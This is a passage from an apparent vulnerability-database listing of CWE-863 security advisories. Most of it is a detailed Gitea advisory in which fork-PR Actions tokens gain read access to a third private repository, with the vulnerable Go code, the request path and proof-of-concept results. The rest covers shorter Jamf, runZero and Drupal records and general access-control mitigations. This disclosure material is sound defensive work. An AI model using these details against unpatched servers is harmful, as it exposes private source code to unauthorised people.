(fetches by `Repo.OwnerID`):\n    https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167\n  * Fork creator gets admin permissions:\n    https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440\n  * Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerability\n  * OWASP API Security Top 10 2023: API5 \u2014 Broken Function Level Authorization\n  * OWASP Top 10 2021: A01 \u2014 Broken Access Control\n\n\n[poc-fork-authz-bypass.zip](https://github.com/user-attachments/files/26129318/poc-fork-authz-bypass.zip)",
  "id": "GHSA-fhx7-m96w-mv29",
  "modified": "2026-06-17T18:08:00Z",
  "published": "2026-06-17T18:08:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fhx7-m96w-mv29"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: API Fork Missing CanCreateOrgRepo Check Allows Org Secret Exfiltration"
}

GHSA-FJ66-G7XW-9G27

Vulnerability from github – Published: 2022-06-08 00:00 – Updated: 2022-06-15 00:00
VLAI
Details

Jamf Private Access before 2022-05-16 has Incorrect Access Control, in which an unauthorized user can reach a system in the internal infrastructure, aka WND-44801.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-29564"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-07T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "Jamf Private Access before 2022-05-16 has Incorrect Access Control, in which an unauthorized user can reach a system in the internal infrastructure, aka WND-44801.",
  "id": "GHSA-fj66-g7xw-9g27",
  "modified": "2022-06-15T00:00:24Z",
  "published": "2022-06-08T00:00:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29564"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wandera/public-disclosures/blob/master/CVE-2022-29564.md"
    },
    {
      "type": "WEB",
      "url": "https://jamf.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FJ8V-HJWV-QM88

Vulnerability from github – Published: 2026-07-21 20:40 – Updated: 2026-07-21 20:40
VLAI
Summary
Gitea: Fork-PR Actions task can read a third private repository via the collaborative-owner branch (missing fork-PR guard)
Details

Summary

GetActionsUserRepoPermission (models/perm/access/repo_permission.go) decides whether an Actions task token may access a target repo. Its cross-repo branches each enforce a fork-PR discriminator — except the collaborative-owner branch, which is missing the !task.IsForkPullRequest guard that its sibling has. As a result, when a private repo B lists owner A as a collaborative owner, an attacker-controlled fork pull-request workflow whose base repo is owned by A is granted code-read on B — i.e. the fork's YAML can clone a third private repository it has no rights to.

Details

// models/perm/access/repo_permission.go (v1.26.2), in GetActionsUserRepoPermission
if checkSameOwnerCrossRepoAccess(ctx, taskRepo, repo, task.IsForkPullRequest) { // passes isForkPR -> denies forks
    return maxPerm, nil
}
...
if taskRepo.IsPrivate {                                   // <-- NO IsForkPullRequest check here
    actionsUnit := repo.MustGetUnit(ctx, unit.TypeActions)
    if actionsUnit.ActionsConfig().IsCollaborativeOwner(taskRepo.OwnerID) {
        return maxPerm, nil                              // grants code-read to target repo B
    }
}

The sibling same-owner path correctly denies fork PRs:

func checkSameOwnerCrossRepoAccess(ctx, taskRepo, targetRepo, isForkPR bool) bool {
    if isForkPR {
        return false // Fork PRs are never allowed cross-repo access to other private repositories.
    }
    ...
}

taskRepo = the repo whose workflow is running (the PR's base repo A); repo = the target being cloned (B). IsCollaborativeOwner(taskRepo.OwnerID) asks "does target B's Actions config trust A's owner for cross-repo read?" When B trusts ownerA, the branch returns maxPerm (code-read) even when task.IsForkPullRequest is true — i.e. when the executing YAML is the fork's, not A's.

Every sibling enforces the fork-PR discriminator; except for this branch: checkSameOwnerCrossRepoAccess denies forks; ComputeTaskTokenPermissions (models/actions/token_permissions.go) only clamps the token ceiling to read-only for fork/cross-repo (its own comment notes the access decision is in GetActionsUserRepoPermission, so it does not neutralize the gap — it just makes the leak read-only); secrets (models/secret/secret.go) and the approval gate (services/actions/notifier_helper.go) both correctly key on IsForkPullRequest.

Reachability — the runner clones target repo B over git-HTTP with the task token: routers/web/repo/githttp.go → GetDoerRepoPermission(ctx, repoB, ActionsUser) → GetActionsUserRepoPermission(ctx, repoB, actionsUser, taskID) with IsForkPullRequest == true → collaborative-owner branch returns code-read → p.CanAccess(Read, code) passes → private clone of B succeeds. (CheckRepoScopedToken in githttp is a no-op for the Actions token.)

PoC

Setup: private base repo A (usera/repoA), private third repo B (userb/repoB) with a planted SECRET.txt, B's Actions config trusting usera as a collaborative owner, and a genuine running fork-PR task token (token_hash computed with Gitea's own HashToken) presented as HTTP Basic. Requesting GET /userb/repoB.git/info/refs?service=git-upload-pack:

Condition (same fork-PR token) HTTP Meaning
anonymous (no token) 401 auth required
token, A public, B trusts A 404 branch gated on taskRepo.IsPrivate ⇒ A public skips it
token, A private, B has no collab-owner config 404 no trust ⇒ denied
token, A private, B trusts A (collab-owner) 200 git clone of private B succeeds
config removed / restored 404 / 200 deterministic

In the 200 case, git clone of private repo B succeeded and yielded its SECRET.txt — the full source of a third private repo the fork-PR author has no rights to.

Impact

Read-only confidentiality breach: discloses the full source of a third private repository (B) to an untrusted external fork-PR author. Read-only, not write/RCE.

Preconditions (honest): 1. B is deliberately configured with a collaborative owner — but that is exactly the feature's intended use, so realistic for any deployment using it. 2. The fork PR's base repo A is itself private (the branch is gated on taskRepo.IsPrivate). Forking a private A already requires read on A, so this is a normal internal-contributor situation, not a weakening — the escalation is "read A (granted) → read a different private repo B (never granted)." 3. The fork-PR workflow must actually run — most realistically via an attacker who had one earlier PR approved (the "approved before" path in ifNeedApproval), after which fork PRs auto-run.

Suggested remediation

Add the same fork-PR guard the sibling path has (one line):

if taskRepo.IsPrivate && !task.IsForkPullRequest {
    actionsUnit := repo.MustGetUnit(ctx, unit.TypeActions)
    if actionsUnit.ActionsConfig().IsCollaborativeOwner(taskRepo.OwnerID) {
        return maxPerm, nil
    }
}

This flips Vuln_ForkPR_LeaksThirdPrivateRepo to PASS, keeps Control_NonFork_Allowed PASS (legitimate collaborative-owner sharing still works), and leaves the existing TestGetActionsUserRepoPermission suite all green.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gitea.dev"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-280",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:40:03Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`GetActionsUserRepoPermission` (`models/perm/access/repo_permission.go`) decides whether an Actions\ntask token may access a target repo. Its cross-repo branches each enforce a fork-PR discriminator \u2014\n**except the collaborative-owner branch**, which is missing the `!task.IsForkPullRequest` guard that\nits sibling has. As a result, when a private repo **B** lists owner **A** as a collaborative owner, an\n**attacker-controlled fork pull-request** workflow whose base repo is owned by A is granted code-read\non B \u2014 i.e. the fork\u0027s YAML can clone a third private repository it has no rights to.\n\n### Details\n\n```go\n// models/perm/access/repo_permission.go (v1.26.2), in GetActionsUserRepoPermission\nif checkSameOwnerCrossRepoAccess(ctx, taskRepo, repo, task.IsForkPullRequest) { // passes isForkPR -\u003e denies forks\n    return maxPerm, nil\n}\n...\nif taskRepo.IsPrivate {                                   // \u003c-- NO IsForkPullRequest check here\n    actionsUnit := repo.MustGetUnit(ctx, unit.TypeActions)\n    if actionsUnit.ActionsConfig().IsCollaborativeOwner(taskRepo.OwnerID) {\n        return maxPerm, nil                              // grants code-read to target repo B\n    }\n}\n```\n\nThe sibling same-owner path correctly denies fork PRs:\n\n```go\nfunc checkSameOwnerCrossRepoAccess(ctx, taskRepo, targetRepo, isForkPR bool) bool {\n    if isForkPR {\n        return false // Fork PRs are never allowed cross-repo access to other private repositories.\n    }\n    ...\n}\n```\n\n`taskRepo` = the repo whose workflow is running (the PR\u0027s base repo A); `repo` = the target being\ncloned (B). `IsCollaborativeOwner(taskRepo.OwnerID)` asks \"does target B\u0027s Actions config trust A\u0027s\nowner for cross-repo read?\" When B trusts ownerA, the branch returns `maxPerm` (code-read) **even when\n`task.IsForkPullRequest` is true** \u2014 i.e. when the executing YAML is the fork\u0027s, not A\u0027s.\n\nEvery sibling enforces the fork-PR discriminator; except for this branch:\n`checkSameOwnerCrossRepoAccess` denies forks; `ComputeTaskTokenPermissions`\n(`models/actions/token_permissions.go`) only clamps the token *ceiling* to read-only for fork/cross-repo\n(its own comment notes the access *decision* is in `GetActionsUserRepoPermission`, so it does not\nneutralize the gap \u2014 it just makes the leak read-only); secrets (`models/secret/secret.go`) and the\napproval gate (`services/actions/notifier_helper.go`) both correctly key on `IsForkPullRequest`.\n\n**Reachability** \u2014 the runner clones target repo B over git-HTTP with the task token:\n`routers/web/repo/githttp.go` \u2192 `GetDoerRepoPermission(ctx, repoB, ActionsUser)` \u2192\n`GetActionsUserRepoPermission(ctx, repoB, actionsUser, taskID)` with `IsForkPullRequest == true` \u2192\ncollaborative-owner branch returns code-read \u2192 `p.CanAccess(Read, code)` passes \u2192 private clone of B\nsucceeds. (`CheckRepoScopedToken` in githttp is a no-op for the Actions token.)\n\n### PoC\n\nSetup: private base repo A (`usera/repoA`), private third repo\nB (`userb/repoB`) with a planted `SECRET.txt`, B\u0027s Actions config trusting `usera` as a collaborative\nowner, and a genuine running fork-PR task token (`token_hash` computed with Gitea\u0027s own `HashToken`)\npresented as HTTP Basic. Requesting `GET /userb/repoB.git/info/refs?service=git-upload-pack`:\n\n| Condition (same fork-PR token) | HTTP | Meaning |\n|---|---|---|\n| anonymous (no token) | 401 | auth required |\n| token, A **public**, B trusts A | 404 | branch gated on `taskRepo.IsPrivate` \u21d2 A public skips it |\n| token, A private, B has **no** collab-owner config | 404 | no trust \u21d2 denied |\n| **token, A private, B trusts A (collab-owner)** | **200** | **`git clone` of private B succeeds** |\n| config removed / restored | 404 / 200 | deterministic |\n\nIn the 200 case, `git clone` of private repo B succeeded and yielded its `SECRET.txt` \u2014 the full source\nof a third private repo the fork-PR author has no rights to.\n\n### Impact\n\nRead-only confidentiality breach: discloses the full source of a *third* private repository (B) to an\nuntrusted external fork-PR author. Read-only, not write/RCE.\n\nPreconditions (honest):\n1. B is deliberately configured with a collaborative owner \u2014 but that is exactly the feature\u0027s intended\n   use, so realistic for any deployment using it.\n2. The fork PR\u0027s base repo A is itself private (the branch is gated on `taskRepo.IsPrivate`). Forking a\n   private A already requires read on A, so this is a normal internal-contributor situation, not a\n   weakening \u2014 the escalation is \"read A (granted) \u2192 read a *different* private repo B (never granted).\"\n3. The fork-PR workflow must actually run \u2014 most realistically via an attacker who had one earlier PR\n   approved (the \"approved before\" path in `ifNeedApproval`), after which fork PRs auto-run.\n\n### Suggested remediation\n\nAdd the same fork-PR guard the sibling path has (one line):\n\n```go\nif taskRepo.IsPrivate \u0026\u0026 !task.IsForkPullRequest {\n    actionsUnit := repo.MustGetUnit(ctx, unit.TypeActions)\n    if actionsUnit.ActionsConfig().IsCollaborativeOwner(taskRepo.OwnerID) {\n        return maxPerm, nil\n    }\n}\n```\n\nThis flips `Vuln_ForkPR_LeaksThirdPrivateRepo` to PASS, keeps `Control_NonFork_Allowed` PASS\n(legitimate collaborative-owner sharing still works), and leaves the existing\n`TestGetActionsUserRepoPermission` suite all green.",
  "id": "GHSA-fj8v-hjwv-qm88",
  "modified": "2026-07-21T20:40:03Z",
  "published": "2026-07-21T20:40:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fj8v-hjwv-qm88"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38214"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/1d43b736b5a16c5f80cfdcd9a9448a9c983ddaa0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Fork-PR Actions task can read a third private repository via the collaborative-owner branch (missing fork-PR guard)"
}

GHSA-FJ9R-V5J5-9XF4

Vulnerability from github – Published: 2026-04-07 15:30 – Updated: 2026-04-07 15:30
VLAI
Details

An issue that could allow a credential to be updated and used for a task from outside of the authorized organization scope has been resolved. This is an instance of CWE-863: Incorrect Authorization, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N (5.8 Medium). This issue was fixed in version 4.0.26021.0 of the runZero Platform.

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-5384"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-07T15:17:48Z",
    "severity": "MODERATE"
  },
  "details": "An issue that could allow a credential to be updated and used for a task from outside of the authorized organization scope has been resolved. This is an instance of CWE-863: Incorrect Authorization, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N (5.8 Medium). This issue was fixed in version 4.0.26021.0 of the runZero Platform.",
  "id": "GHSA-fj9r-v5j5-9xf4",
  "modified": "2026-04-07T15:30:52Z",
  "published": "2026-04-07T15:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5384"
    },
    {
      "type": "WEB",
      "url": "https://help.runzero.com/docs/release-notes/#402602100"
    },
    {
      "type": "WEB",
      "url": "https://www.runzero.com/advisories/runzero-platform-cve-2026-5384"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FJGG-QW2X-496W

Vulnerability from github – Published: 2025-01-09 21:31 – Updated: 2025-01-10 18:31
VLAI
Details

Incorrect Authorization vulnerability in Drupal Block permissions allows Forceful Browsing.This issue affects Block permissions: from 1.0.0 before 1.2.0.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-13282"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-09T20:15:37Z",
    "severity": "HIGH"
  },
  "details": "Incorrect Authorization vulnerability in Drupal Block permissions allows Forceful Browsing.This issue affects Block permissions: from 1.0.0 before 1.2.0.",
  "id": "GHSA-fjgg-qw2x-496w",
  "modified": "2025-01-10T18:31:40Z",
  "published": "2025-01-09T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13282"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-contrib-2024-046"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list